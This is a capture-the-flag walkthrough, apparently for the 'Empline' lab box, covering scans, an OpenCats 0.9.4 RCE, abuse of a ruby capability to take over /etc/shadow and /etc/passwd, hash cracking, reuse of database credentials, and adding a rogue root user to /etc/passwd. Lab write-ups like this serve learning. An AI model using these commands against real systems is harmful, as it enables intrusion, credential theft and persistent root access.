# Empline **Room Link:** ### **Scans** Initial scan **Kali** ``` nmap -A $VICTIM ```

Longer scan **Kali** ``` nmap -sV -sT -O -p 1-65535 $VICTIM ```

## **TCP/80 - HTTP** **Kali** ``` gobuster dir --url http://$VICTIM/ -w /usr/share/dirb/wordlists/big.txt -l ```

**Kali** ``` echo "$VICTIM job.empline.thm" >> /etc/hosts ```

## Initial Shell OpenCats 0.9.4 has a RCE exploit. Exploit: **Kali** ``` chmod +x exploit.sh ./exploit.sh ./exploit.sh http://job.empline.thm/ ```

**Victim** ``` getcap -r / 2>/dev/null ```

**Victim** ``` ls -lah /etc/shadow ruby -e 'require "fileutils"; FileUtils.chown("www-data", "www-data", "/etc/shadow")' ls -lah /etc/shadow ```

**Victim** Now that we can read both f these files we can transfer them to Kali. I let this run for a while but it wasn't cracking any hashes. ``` cat /etc/passwd cat /etc/shadow ``` **Kali** ``` unshadow passwd shadow > passwords.txt ``` **Kali** ``` john --wordlist=/usr/share/wordlists/rockyou.txt passwords.txt ``` I went back to the check the box and found the database credentials **Victim** ``` find / -name "config.php" cat /var/www/opencats/config.php ```

**Kali** ``` mysql -h $VICTIM -u james -png6pUFvsGNtw ``` **Kali(mysql)** ``` show databases; use opencats show tables; select * from user; ``` There were a few hashes from users so I put them in crackstation and one returned a result.

## **TCP/22 - SSH** **Kali** ``` ssh george@$VICTIM Password: pretonnevippasempre ``` ## Privilege Escalation Since I had access to change any file already I just added a new root user to passwd **Victim** ``` ruby -e 'require "fileutils"; FileUtils.chown("george", "george", "/etc/passwd")' echo 'new:$1$new$p7ptkEKU1HnaHpRtzNizS1:0:0:root:/root:/bin/bash' >> /etc/passwd su new Password: 123 ```
